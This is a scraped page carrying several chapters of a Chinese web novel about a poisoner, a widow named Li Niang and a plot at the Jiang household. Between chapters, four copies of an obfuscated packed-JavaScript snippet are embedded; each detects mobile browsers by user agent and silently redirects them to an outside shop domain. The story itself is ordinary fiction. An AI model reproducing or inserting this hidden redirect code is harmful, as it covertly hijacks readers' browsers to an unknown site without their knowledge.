;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17716899|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 然不能供人休息。 未关的窗户被风吹得哐当哐当乱响,陈奉请按住损坏的窗框,低头瞧见一道血痕顺着墙面划下,一路延伸向远方。 陈奉请飞身跳下,颇为悠哉地沿着血迹一路追寻。却在一处格外隐蔽的小巷中再也追寻不得。 这就奇了,梨娘那一匕首未捅到要害,他给的毒却是能瞬间麻痹全身肌肉,在一炷香里叫人窒息而亡。 难道穿越者也有特殊的解毒之法吗? 陈奉请正纳闷间,忽然听得一阵由远及近的吹吹打打之声。说凄凉,确实是十分哀婉,但奏乐有一搭没一搭,有种一口气上不来的感觉。 只见一队人背着棺材、抱着纸人、花圈、举着引魂幡,撒着买路钱,由远及近缓缓而来。 陈奉请抬眼看看天色,不过寅时,十分的不吉利。永熹郡的瘟疫已经难过到这种地步了? 他一眼瞧见孙文进精疲力尽地在队伍里,头一点一点的,拉着一只二胡,上下两个眼皮子直打架。 队伍中其他人,也是十分疲惫,比起哀恸,他们看起来更想倒头睡一觉。难道家人见了这样的人送葬,不会大发雷霆吗? 陈奉请看了一阵,忽然觉出了哪里不对。 太轻了。棺材太轻了。 他指尖一弹,一只小石子飞出,正中抬棺那人的膝弯。那人只觉双腿一软,不由自主地趴倒在地,在众人的惊呼中,棺材滚落在地,整个翻倒! “怎么回事?不小心点吗?”孙文进一蹦三尺高,那点睡意立刻化为了怒意,道,“挡着点挡着点.....还不赶快收拾好,让人笑话!” 陈奉请早已瞧见,棺材里面居然空无一物! 伙计不敢触老板的霉头,点头哈腰地把棺材重新合上。在经过短暂的慌乱之后,送葬队伍重新出发。 陈奉请从阴影里走出,也挺惊讶的。 他的同门师兄居然真的混到要做这种倒卖尸体的活了?连他这种人都觉得这份钱十分丧良心啊! . 郊外,孙文进正指挥伙计把棺材埋进土里,忽然觉得后背一痛,身手一摸,一根长针正扎在上面。 孙文进熟练地从腰包里掏出七八种解毒剂就往嘴里灌,一边灌一边暴跳如雷,指着阴影中的陈奉请骂道:“我就知道是你这个孙子在捣鬼!!!” 陈奉请眼中居然升起了一些怜悯之色,他这样的人渣竟表现出这样的情绪是很伤人的。他不客气道:“你怎么混到这种地步了?” “你懂个屁你懂。”孙文进指着他骂道。 伙计茫然地瞧着他们争吵,孙文进一把扯过陈奉请,对着伙计们道:“去去去忙你们的去。” 确保没人能听到,他才对陈奉请道:“你可别说出去。我已经研究出药方,瘟疫却迟迟未绝,就是因为这尸体的缘故。它污染了土地,才有人一直中招。最好的办法就是拿去烧了。可大多人都不让,谁能让自己家孩子死了还受这份罪呢?我只能拿去偷偷烧掉。” 这倒是合情合理。 不过,这也是出力不讨好的买卖。陈奉请无法理解,困惑道:“你什么时候这么有良心了?” “.......”孙文进仅仅比陈奉请年长三岁的脸上忽然迸发出一种慈爱的光,道,“我这叫有担当。不是每个人都像你一样活着的——去,没事别跟我在这添乱,去陪你身边那个漂亮女人吧。” 18. 第18章 羡慕 陈奉请依然觉得有哪里不对。 回到客栈、透过已经被打成半扇的房门,他看见梨娘在他的房中等他,手中把玩着那几枚圆柱形的物体。 先前被梨娘发觉,他已经完全明了梨娘五感之敏锐,再不露半点声色。 只见梨娘对着烛火打量了半天那东西,然后用金属片用力在圆柱状的物体的底部刮蹭了许多下,像是要刮掉什么东西。 陈奉请悄无声息向后方迈出几步,又放重脚步走回。 就瞧见那几个圆柱状的物体已经重新躺在了地上,而梨娘则趴在桌子上,拨弄着烛火,看起来已经百无聊赖等了他许久。 真有意思。 “你去哪了?”梨娘困惑道,“你又错过了——给你的请帖都发到我那里来了。” 小半个时辰前,梨娘在床边枯坐,目光一扫,却见一张请帖被鬼鬼祟祟地被从门缝里塞进来。 梨娘把人当场拿下。 一瞧,熟人,是那个缺了两个门牙的小乞儿。 “我一问才知道,有个大户人家的夫人都给他几个铜板,要他每天都向她来汇报都有什么人入城,一连许多日子。直到昨日,乞儿说有两个格外惹眼的人入城,她就说要把这帖子交于你。” “谁家的夫人?” “江家主母。” 陈奉请打开请帖,扫过其中内容,神色莫测,道:“既然她没有染上瘟疫,那也就没什么我能做的。我们明日便离开这里罢。” “怎么如此突然?”梨娘有些愕然,道,“不去瞧瞧谢骊么?” 陈奉请把帖子交予她,梨娘一眼扫过,终于明白了陈奉请为何如此反应: “哥哥,我夫君居然敢养外室,还生下了小杂种。我听说你长本事了,一定能帮我做出些挽回我夫君心意的药,然后帮我把那两个小杂种都毒死!!!” 梨娘:“..................” 梨娘想起谢骊,出行俱是众星捧月,一点委屈也不能受,连大臣都敢顶撞。 她做出这等任性之事来,梨娘居然觉得一点都不意外。 陈奉请面无表情道:“她就喜欢耍着人玩儿。恐怕这下全家都被她耍了,倒是辛苦夫人陪我走一趟。” 谢骊受了委屈,是要千倍百倍地报复回来的;陈奉请没兴趣成为这千倍百倍的其中之一。 梨娘好说歹说,说陈奉请不知女子辛苦,若是真在后院受了天大的委屈,真是无处可说的。梨娘有丰富的和离经验,帮帮她不过举手之劳。 最后二人还是决定去江家瞧瞧。 . 梨娘远远地看见江府的形制,便觉得此事难以善了。 在这气候恶劣之地,普通人家都把墙修得很高,把窗户修建的窄而长。 但江府每处都十分考究,庭院置景,无一处不细致,可见人力、财力都深不可测。 二人递了拜帖,在偏院中等了许久,梨娘已经无聊到开始给小宝编辫子玩,只等来侍女客客气气地: “我家夫人身体不适,请几位明日再来吧。” 陈奉请叹道:“我就说,她过得很好。我们明日便启程回陈县吧。” 梨娘皱眉,追问:“你家夫人可有说过,为何不见?这位可是你家夫人的嫡亲哥哥,她许久没有音信,家中担心呢。” 侍女的笑容不变:“我家夫人心情不好时,就是不见。你们只用告诉家中人,她过得很好就行了。夫人和老爷琴瑟和鸣,有什么需要担心的?” 侍女把他们请出府。 梨娘扯住转身欲走的陈奉请的衣角,随口道:“慢点呀,你妹妹和你有过节?你这么不愿意见她。” 陈奉请假笑道:“确实。我受家中厌弃,她受家中疼爱,而且她狠狠地得罪过我。” “真的?”梨娘有意引着他多说些话,道,“大秉国人都重男轻女,非常令人讨厌。怎么到你家就反过来了?” 陈奉请道:“因为他们觉得我是个怪胎。” “.........”梨娘委婉道,“其实他们对你的评价挺客观的。” 二人拉扯间,一对老夫妇被从府内推搡出来。 没有面对梨娘和陈奉请时那么客气,老头和老太太几乎是被家丁丢出来的。 侍女呸道:“谁不知道你家女儿偷偷勾搭上我们老爷,还生下个野种?谁知道她去哪了!我们江府可是不收留这样的贱人!” 老头哆哆嗦嗦地狂骂:“我的儿子尸首被人偷了,我的女儿又被你们抢走了,我们往后可怎么办啊?到下面有没有人给我们烧点纸钱啊?” 两个老人又一次躺在地上撒泼打滚,大声哭嚎。 梨娘被这似曾相识的一幕镇住了。 她扯扯陈奉请:“你瞧,这是不是之前在平安丧葬馆前闹事的那两个人?” 陈奉请被这嚎哭扰得十分不耐烦,道:“是又如何?” 梨娘的良心在隐隐作痛。或许是作孽做多了,想做点好事的心情占了上风,她忍不住道:“这两个老人这把年纪如此模样,也是可怜。我去问问他们事情原委。” 陈奉请愕然,一句“多管闲事”尚未出口,梨娘已经上前扶起那老太太,轻声询问发生何事。 . 我命苦,我命苦,我命实在是太苦了。 梨娘脑子里不断回荡着这句话。因为老太太拉着她的手絮絮叨叨,每说三句话,就会感慨一句自己命苦。 老太太姓于,被人叫了大半辈子的于氏。 老太太多年无子,只有一个女儿,被人戳脊梁骨戳了大半辈子。好不容易才生了一个带把的,自然是千娇万宠,结果儿子好不容易养大了,能扛起大梁养活全家,一场瘟疫就死了。 “那平安丧葬馆的小畜生,我要去揭发他!”老太太的嗓子像个破风箱,满是皱纹的脸皱成一团,哭道,“我儿子就是死在他手上,尸首还没能入土为安.......” 梨娘连忙打岔,敢在大燹行医的大夫挺少见的,还是不要让大夫变得更少为好。梨娘道:“那您女儿呢?” 于氏还没出声,老头呸道:“白眼狼!养女儿就是白眼狼!” “她嫁进江家过了好日子,就再也不想着爹娘了!” 恐怕她的女儿就是那位名不见经传的外室了。 陈奉请抱臂笑道:“但看二位如此模样,怪不得你女儿会不要你了。” “对......”梨娘下意识附和,发现二位老人怒目圆睁,如果梨娘再说出点什么来,他们就要再次躺在地上哭了。梨娘连忙转移他们的注意力,道:“不知道您女儿叫什么名字?” “青禾。”于氏道,“她叫青禾。” . 老太太把大半辈子的话都倒给梨娘听了,梨娘起先还点头应和,后来连应和的精力都没了,好不容易才从于氏手中脱身。 二人一孩打马回返,陈奉请笑道:“你瞧,自找苦吃。” 梨娘满脸的心有余悸,摸摸小宝的小脸,道:“他们也是受时局所限。” “是吗?”陈奉请听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17719658|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 出她的言外之意,道,“你在羡慕鸩鬼?” 梨娘坦荡笑道:“对呀。我羡慕。我非常羡慕。哪怕只有一阵子也好,我也想摆脱这里。” “娘?”小宝把头仰起来。 “儿啊,你个小讨命鬼。”梨娘点了点他的鼻子,笑道,“娘只是说说而已。” 陈奉请问:“你很讨厌大燹?” “.......”梨娘莫名其妙地看着他,道,“这种没有大夫、疯子满地乱走、气候恶劣的地方,难道真的有人会喜欢吗?” 陈奉请问:“那你为何不去别的城池呢?” 梨娘以手扶额,缓缓道:“实不相瞒,我已经换了许多地方住。可是每到一个地方都......所托非人,只好离开......” “那你可愿与我同行?”陈奉请笑道,“我对你毫无杂念,只是天下之大,若是独自旅行还是有些遗憾。” 这就是梨娘最想听到的答案。梨娘当即答应道:“好啊,梨娘最欣赏你这种事不关己、心黑手狠、性情古怪、并且对女人毫无兴趣的人,我太乐意了。” “.......”陈奉请无奈道,“你是在很直白的骂我吧。” 梨娘咯咯笑了两声,一甩马鞭,快步跑开了。 . 梨娘回到房中,呆了一呆,忽地从房内探出头来,有些不好意思地对陈奉请笑道:“妾身今日受到惊吓,恐怕夜间又做噩梦,惊醒小宝。可否请你今夜和小宝一起睡?梨娘愿意出......嗯,三个铜板。” 她眼下的青黑很有说服力。 陈奉请在给梨娘的噩梦素材里增添了不少份量,此时稍显理亏,面对三个铜板的巨额薪水也没说什么,牵着小宝走去别的房间,笑道:“走吧,你娘不要你了。” 小宝愤愤地瞪着他。 房门从梨娘身后关上,梨娘微笑的面容瞬间凝固,她把帷帽摘下来放到桌子上,叹了口气,对地上伏着的人轻轻道:“穿越者之间不是不流行这些吗?” 那人身穿一套夜行衣,正对着梨娘行五体投地大礼。 他抬起头,面容平平无奇,只一双眼睛格外大,正是之前闯入陈奉请房中的刺客。梨娘忽而觉得有些熟悉,只是想不起来在哪里见过。 刺客挠了挠头,跪坐在地上,道:“大人之前救过我,我看电视剧里都是这样的。” “什么时候?”梨娘是真想不起来了。 她一半的时间都在用面纱挡住脸,下场就是自己也看不清别人的脸。 最初确实造成许多困扰。但久而久之,梨娘的听力锻炼得奇佳无比,成功克服了这点困难。 “在我刚穿越过来的时候。”刺客心有余悸,道,“我不知道这世界对穿越者这么险恶。差点就死了。幸好当时那帮邪....落仙阁来的是您,说我不是穿越者,放我一马。从那以后,我就一直想再见您一面。” 梨娘是受人钳制、被迫做的处刑人,碰见鸩鬼,能放就放了;实在钻不了空子的,才不得不杀掉。 “似乎是有这么一回事。”梨娘叹气,道,“你恐怕不是来找我叙旧的。为什么要行刺我的同伴?” “呃呃,这是‘皇帝’的命令啦。他要求杀掉您身边的所有男人。男人的嫉妒心是很丑陋的!”刺客嘿嘿笑了一声,道,“大boss要求,我怎么能不做呢。但现在我有更重要的工作了。” 从窗子里透出的那点幽微的光打在刺客的脸上,显得他那双眼睛尤为的明亮。 “上官梨,请您加入我们吧!” 19. 第19章 玩游戏 “我不可能去地助会。” 梨娘一口否决。 刺客错愕无比,道:“为什么???” “我们这里很好的。您曾经是处刑人,应该最了解穿越者才对啊。我们的‘皇帝’虽然,呃,稍微是中二了那么一点点........但是他无时无刻不在思念你!而且他又不像大燹国师那样是个传销头子!” “您放走过我,应该对我们穿越者本身并没有什么敌意,那究竟是为什么呢?” 梨娘道:“他恐怕没对你们说过一句实话——算了,我只告诉你,当时灭国的时候,他把我丢进乱军堆里当诱饵,自己跑了!” 得是多无能的男人,才会把女人抛下当诱饵。 假如梨娘也是个没有手段的人,恐怕下场比死还要痛苦一万倍。 “.......”刺客石化了。 梨娘冷笑道:“回去吧,年轻人,如果你想平平安安地在这个时代活下去,就别信他的话。回去和你父母好好过吧!” 也不知道疯皇帝给刺客灌了多少洗脑包。刺客面上明显出现挣扎的神色,吞吞吐吐道:“我不相信。” “我们boss不会这样做的。他,他待人一点架子也没有,特别温和亲厚,而且还为了你,正在谋划一件大事。” 梨娘神色一凝,被疯皇帝折磨了十年的神经又开始绷紧,寒声道:“你们又在做什么?” “我也不知。我的职位太低了。”刺客不好意思道,“但我听说是件能颠覆落仙阁的大事!” 刺客激动地瞧着梨娘,希望从她的帷帽下能看出点心动的神色。但梨娘只是放下茶杯,淡淡道:“去告诉疯皇帝。” “无论他想做什么,我都会阻止他。叫他别痴心妄想了,好好做一个古代人吧。” . 陈奉请回到房内,在房中瞧见一个格外壮实的人影,当即扭头就走。 孙文进嘿嘿地搓着手,道:“我亲爱的师弟,这实在是太巧了。你在此处,我也在此处。我们实在太有缘分,能否帮我一个忙?” 陈奉请一口回绝,冷淡道:“没空。” 小宝往陈奉请身后藏了一下,孙文进瞧见小孩的模样,夹起声音道:“这是谁家的宝宝?怎么脸色这么差,让我来给你瞧瞧——” 小宝幽幽地:“如果我掉了一滴眼泪,我娘就屠你们一座城!” 孙文进:“........” 陈奉请:“........” 梨娘到底怎么养的孩子。 陈奉请淡淡地接过了话茬,道:“如你所见,我正忙着给别人当后爹,忙得很。” “哎哎哎,你别扯我,我不走!”孙文进眼看自己要被丢出门外,连忙比划了一个五,神神秘秘道,“此时此刻,非彼时彼刻。既然你已经知道我的秘密,就知道你师兄我是个大忙人。我分给你这个数。你替我去给一个人看诊,如何?” 陈奉请挑眉,手上力道丝毫不减,道:“差人来请,而非亲自上门,着实诚意不足,不去。” “这人非常、非常的有钱。”孙文进扒住门框,急促而小声地道,“如果不是我实在抽不出时间,怎么会让你去?而且这人是江家的贵客。你不是要找谢妹妹吗?这是千载难逢的良机啊!” 噗通一声,孙文进被丢在地上。 陈奉请居高临下道:“别提她,她只是又在耍人玩。” “嘿嘿。”生怕陈奉请再反悔,孙文进捂住小宝的耳朵,迅速小声道,“病人是和女子在进行一些羞耻游戏的时候,被打伤得太过严重,快死了。” 小宝:? 陈奉请:? 这得是玩得有多花,他根本不想救色鬼。 孙文进不放心地细细叮嘱道:“你去看诊的时候,且记得要注意一下病人脆弱无比的自尊心。他家中有权有势,生怕让别人知道了。我知道你小子最近和一个漂亮女人形影不离的,千万别带她啊。” 陈奉请想了下,梨娘恐怕就是那种会假装玩游戏,实则把别人往死里打的类型。他微微笑了下,道:“如此污秽不堪的场面,你不说,我也不会告诉她。” 孙文进连忙道:“那太好了,你现在就动身——别用那种表情看着我,我没有命令你的意思,那病人真的快死了。” . 孙文进奸计得逞,箭一样离开了,陈奉请叹了口气,对小宝道:“去找你娘吧,我有些事要处理。” 小宝面无表情地幽幽道:“没关系的,我都听见了。你要去找一个能和女人玩游戏的人。” 话倒是没错,但说出来总觉得怪怪的。 “谁教的你。”陈奉请用力一揉小宝的脑袋,无奈道,“你娘绝对会嘲笑我的。” 小宝从他手里窜出来,欢快地蹦跶着回去找梨娘。蹦跶没两步就觉得熟悉的心悸又找上门来。 “.......” 小宝悻悻地慢慢走回梨娘的房间,推开门—— 房间空荡荡的,窗户大敞着,梨娘不知所踪。 “唉,我懂。”小宝自觉地爬上床,幽幽道,“大人们总有要做的事。而我是娘的最乖最乖的好宝宝,会在这里一直等她来接我。” . 梨娘摸着袖中的匕首,压低身形,鬼魅般辗转于各个阴影和死角,和刺客保持着不远不近的距离。 梨娘不是不想管疯皇帝的事,之前是鞭长莫及,现在疯皇帝已经快要在她头上跳舞了,她自然是要管上一管。 刺客生得平平无奇,梨娘的身形外表却是无比的显眼。在那里一站,哪怕是背影也能让人一眼认出就是她。对于跟踪而言,梨娘有天然的劣势。 但是这个刺客不知为何,穿着面罩和夜行衣在街上鬼鬼祟祟地移动,专挑小路走。比梨娘看起来还要可疑一万倍。 或许这是穿越者的某种仪式感吗? 刺客小心翼翼地敲响了一处人家的小门,四下看了无人,便闪身进入门中。 瞧见熟悉的亭台楼阁,她缓缓皱起了眉。 梨娘从这里被赶出去,还没有一个时辰呢。 里面有许多侍卫家丁,若是贸然翻墙进去,恐怕当场就要被乱棍打出来。 幸好梨娘的经验十分丰富。 她当即以袖掩面,呜呜哭起来。她的表演受到过宫廷舞姬的训练和点评,十分的逼真,女子哀怨啜泣之声伴着呜呜咽咽的风声,当真是比鬼还要吓人。 家丁猛地打开门,不耐烦道:“谁啊??” 门外自然空空荡荡,梨娘早就躲入了拐角处。 家丁没见到人,愤愤地骂了一声,小门又砰地合拢了。 梨娘折回门口,故技重施,哭得愈发肝肠寸断。一炷香后,家丁再次打开门,怒骂道:“哪个女人这么不长眼?” 回应他的,只有夜风划过空荡荡巷子的尖锐哨声。 “......”家丁开始觉得有点发毛,搓了搓手臂,悻悻地骂了一句,小门再次砰地合上了。 梨娘回到门口,愈发幽怨、响亮地哭泣,间或喃喃些怨恨之语。这次家丁的反应时间就比较长了,约莫两炷香后,他才打开门,手拿砍刀,色厉内荏道:“我倒要看看是谁在这里装神弄鬼!” 他怒气冲冲地在巷口来回走了一圈,完全没人。 “.......”家丁的表情凝固了。 这时,他的耳边又响起了那阵幽幽的鬼哭之声。 “鬼啊!!!!” 梨娘扒在墙内,瞧见家丁冲入门内,毛骨悚然地和另一个家丁手舞足蹈地细说他遇到的诡异之事......就知道今晚无论梨娘不小心发出什么动静,都不会被人细究了。 梨娘放心地跳入院内,双足落地的轻轻声响被家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725837|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 丁惊恐的声音完全遮掩了:“我说有鬼你耳朵聋吗?是不是那个女人死了,变成鬼来找我们了?” 另一个家丁悻悻地:“你多想了吧,我晚上刚去给她送饭,她还有一口气呢.......行行行走吧走吧,我和你一块看看去......” 两个家丁结伴向着一个方向去了。 梨娘环顾一圈,没寻到刺客踪影。偌大的宅院,梨娘对他藏身何处毫无头绪,便也跟了上去。 他们所去的是一间阴森森的柴房。房中黑洞洞的,没有点灯,门外挂着一只铁锁。 那两个家丁窗前踌躇一番,把眼睛极力地往屋内看......忽地,他们像是见到什么吓人的东西,一下子跑走了。 梨娘悄没声地摸过去,和一双满是血丝的眼睛四目相对。 梨娘:“........” 那是一张近乎惨白的女人面孔,因为太过于消瘦,皮肤像是贴在骨头上一般。她眼白大于眼黑的部分,死死盯着谁的时候,就会显得格外可怖。 梨娘.......梨娘大场面见得太多了,一点也不惊讶,叹道:“你是谁?为何被关于此处?” 女人不搭话,依然死死地盯着她。 良久,她才开口,声音嘶哑无比,道:“你过来。” “让我好好瞧瞧你。” 梨娘意识到她其实看不到自己的面容,最多只能瞧见自己下巴上的小痣。 她这一犹豫,女人忽然爆发了,尖叫道:“你是梨儿不是?你把脸遮起来我也知道是你!你是来看我笑话的,是不是?你把我害成这样,还想嘲笑我不成?青禾呢?是不是青禾让你来气我?我绝对不能让她这小/婊/子得偿所愿!!!” 她这一嗓子犹如石破天惊,半个江家都被她惊动了。那两个家丁去而复返,梨娘生怕被抓到,当即脚底抹油溜了,只能听到女人依然在身后叫嚣: “我才是真的!我是真的谢骊啊,我本来应该做皇后的.......” 她的嘴被堵上了,只剩下连声的呜咽。 . 与此同时,江家正门,陈奉请递上拜帖。 侍女上下打量了他一下,道:“你不是我家夫人的亲哥哥吗?我家夫人一想起过去就头疼无比。恕奴婢不能让你进入。孙老板在哪里?让他来。” 陈奉请丝毫不在乎师兄死活,道:“他应该是死了。” "......."侍女嘴角微微抽搐。 后院传来一阵躁动之声,另一个低着头的小侍女和侍女耳语几句。 “人要不好了”,“夫人说无事”,“以前没见过”........陈奉请微微皱眉。 大门被匆匆关上,一炷香后又再次打开,侍女瞧了他一眼,道:“那你来吧。” “不过,可要当心些,管好你的眼睛和嘴巴。” 侍女领着他一路穿过回廊,停在一间房门前,门外有两个明显不凡的侍卫把守。陈奉请的目光在他们身上扫视一圈,最后停留在他们腰间的鱼纹玉佩上。 侍女立在房前催促:“需得快些,病人等着救命呢。” 陈奉请不动声色,笑道:“受了这样的伤,还怕别人说么?” 两个侍卫将门在他身后用力关上。 屋内陈设一应俱全,装潢有些用力过猛,屋内陈设无不贵重精巧,却用着有些过分浓烈的熏香。 约莫是想要压一压这浓重的血腥味,但显然失败了。 陈奉请略有些惊讶地瞧着床上的病患。他身上血痕斑斑,把薄被都染成深浅不一的暗色,神志不清。 若是真能与女子做游戏玩成这样才收手,某种意义上来说,也能算是一个猛人一个。 床边那个女子,梳着妇人发髻,面上戴着一层薄纱,挡去了大半面容。 女子平静道:“哥哥,我是谢骊呀。” 20. 第20章 谢骊 “是吗?” 大秉男女大防,防到了被其余诸国嘲笑的地步。别说哥哥没见过妹妹,就是儿子没见过母亲,女儿没见过爹爹的例子都数不胜数,一家子人根本不熟。 陈奉请挑眉道:“我虽然没见过我妹妹的面容,但她也好歹做过祸国妖女,应该不长你这样寡淡。” “谢骊”微微笑了笑,并不因为陈奉请的冒犯生气。 她道:“这世界上漂亮的皮囊万万千。但真正有用的,怎么会是皮囊?” 陈奉请一指床上的人,怀着敬畏的心思,道:“那个皮囊是你打成这样的?” “谢骊”也看了看床上的人,微笑道:“当然不是。我没有这样的爱好。莫要出言侮辱于我。” 似是在昏厥中也敏锐地捕捉到关键词句,床上之人呜咽了两下表示抗议。 实在是非常好奇到底是何等传奇人物,陈奉请掀开薄被,一股腐臭味在屋内升腾。 这人年纪非常轻,约莫十八九,模样倒是清秀,就不知怎的染上如此怪癖。身上遍布深深的鞭痕,血渍已经发黑变硬,一部分肉更是已经烂了。 “谢骊”掩鼻后退两步,道:“你若是治好他,我自然有千金相送。” 陈奉请微笑道:“那就请我‘妹妹’先离开吧。” “谢骊”的眼睛中毫无笑意,道:“为何?我有什么看不得的?” “倒也不是。”陈奉请从药箱中拿出些非常薄的刀片,不难想象锋利之处如何吹毛断刃。在“谢骊”悚然欲呕的目光和床上之人杀猪般的惨叫中,陈奉请把伤患的创口划开,清理坏掉的腐肉,无辜道:“只是场面会比较难看。” “谢骊”飞也似地逃了。 侍女凑上来,低声附在她耳边道:“夫人,谢骊又发疯了。她一直在念着自己的名字。说什么你不是谢骊,我才是谢骊之类的话。” “谢骊”皱了皱眉,显然颇为烦躁,道:“明天不用给她喂东西吃了,让她自己冷静一下。” “还有您的父母......” “不用管,就让他们以为我死了。” “是。” “还有一事。”“谢骊”,不,青禾缓缓道,“这个自称是谢骊嫡亲哥哥的人,不能再留了,找机会处理掉。” 屋内,陈奉请下手真是心黑手狠,床上之人被这不用麻沸散的惊人治疗手法折磨得从昏厥中惊醒,鬼哭狼嚎:“大哥,大哥啊,你让我死了吧,你别救我了!” “有人出千金要买你的命呢。”陈奉请假笑,毫不留情地在少年的皮肤上留下了整齐的针脚,“我怎么能让你死了呢?” 这句话还能这么用? 少年实在是受不了了,道:“我给你更多钱!那个女人给你的钱是拿不到的。她是假的,是外室青禾,江家老爷那狗东西厌烦了原配又不想得罪谢家,搞了这么一出狸猫换太子......你信我,没走出大门,你就得身首分离!哎呦我求你别缝了,让我就这么支离破碎着可以吗?” 陈奉请抬起眼皮凉凉地扫了他一眼,道:“我怎么会相信一个和女人玩游戏,把自己快玩死的人?” “大哥你信我,我真是有苦衷的。我不爱玩游戏。更不喜欢被打。”少年真是很冤枉,道,“原配一定是被关在了哪个地方,青禾得从她口中一点点挖出以前的细节来。你帮帮我,帮我去找她!我一定会重重谢你!” . 谢骊被堵上嘴,捆得结结实实地丢在柴房的角落,怎么也想不通。 她堂堂高门贵女,怎么会落得如此境地? 如果不是她心太软,没有弄死青禾那小/贱/人,她怎么敢穿着她的身份,在这江家大摇大摆地走来走去? 为什么明明她更漂亮,夫君还是更喜欢青禾那个小/贱/蹄/子,甚至愿意对青禾所做的一切充耳不闻? 错了,错了!一切都错了!从来到这个永熹郡开始,一切都变得不顺利了! 不,如果当时不是梨儿替她嫁给皇帝,那她现在就能舒舒服服地当她的皇后。不会因为梨儿而全家收到牵连,被流放到邻国这个鸟不拉屎的破地方了! 一只如玉般洁白的手轻轻地取走了她口中的布巾,谢骊口中一松,再次想要大喊出声。 梨娘叹了口气,摘下帷帽,脸上是十足的怜悯。她轻轻地:“你还想再被人堵住嘴巴一次吗?谢骊。” “都怪你!都怪你!”谢骊面目扭曲,因愤怒而皱成一团,小声道,“都是你抢走了我的人生。” “做人也要讲道理。”梨娘席地而坐,毫不在乎地盘腿坐在她面前,道,“当时不是你不愿意嫁吗?强迫我一个孤女顶替你的身份嫁给皇帝,应是你自己出的馊主意。” “是你先散布谣言,说皇帝面目可怖,阴晴不定,残忍嗜杀,我才不愿意嫁给他的!” “我只是把事实讲了一遍,就算我造谣吗?” 两人这样互翻旧账下去,真是要没完没了了。梨娘率先投降,道:“当年之事已经过去,大秉皇帝也已经走在我前面,莫要再提了。梨娘再次见你,不想你却如此遭遇。我非良善之人,却也不想见故人变成如此模样。究竟发生了什么?” 谢骊愤愤地瞪着她,她太瘦了,几乎已经是一张皮死死贴着一副骨架,含恨道:“青禾!都怪青禾!迷了我夫君的心智.......她只是一个平民百姓家里出来的女人,不知道用了什么狐媚手段,我夫君就要把我的所有送给她了!” “你一直未和家中联系,便是因此?” “对,她不想得罪我家里人,一直在学我的笔迹。”谢骊骄傲道,“但我几年来,根本没留下什么笔墨!” 梨娘:“..................” 很少有人能把不学无术说的如此骄傲。 梨娘委婉道:“你还真是......家中疼爱。” 谢骊从小已经被惯坏了,居然真以为梨娘是在羡慕,得意洋洋地道:“我爹娘要是知道我如此遭遇,一定会把那个贱人拉下来浸猪笼!你不是觉得对不起我吗?我家里人现在更名换姓,已经重新做出了一番成绩。你去修书一封,告诉他们,让他们来救我!” 混得最好的居然是一个和你们家有仇的陈奉请,那你们流放之后过的很惨了。 梨娘叹道:“你家里人靠不住。你到我背上来。我想办法背你出去。之后不管你是报官还是投奔亲戚,我都不会管你。” “你?”谢骊惊奇地看着她,往角落里缩了一缩,道,“我才不相信你呢!你是害我家流放的罪魁祸首!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728751|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 梨娘淡淡道:“你以前见过你哥哥几次?一次?两次?你觉得他会有那么深厚的感情来救你?” “........”谢骊眼珠在眼眶中转了一圈,不吭声了。她确实是根本想不起有陈奉请这么个人。 “不,不行。”谢骊又往角落里缩了缩,眼神闪烁,道,“我必须留在这里......我得等一个人。不然,不然我的下场会比死还要惨.......” “谁?” 谢骊吞吞吐吐,犹豫半晌,还未回答,梨娘猛然偏过头去,她听到了一道由远及近的脚步声,还有门外铁锁被打开的咔哒声响! 有人来了! “你这里怎么这么受欢迎?”梨娘小声而快速地叮嘱道,“我需得躲躲——为了咱们两个的小命着想,掂量掂量你该说的话!” . 门被轻轻推开了。 梨娘伏在房梁上,屏息凝神,手中紧紧握着匕首,死死盯着进来的人。 那人进来得十分迅速,光线昏暗,但在开关门的一瞬间,屋外的烛光把这人高挺的鼻梁和薄薄的嘴唇映得十分清晰。 梨娘十分诧异,然后是大怒。 陈奉请怎么会在这? 你就把我孩子这样自己放在客栈里吗?! 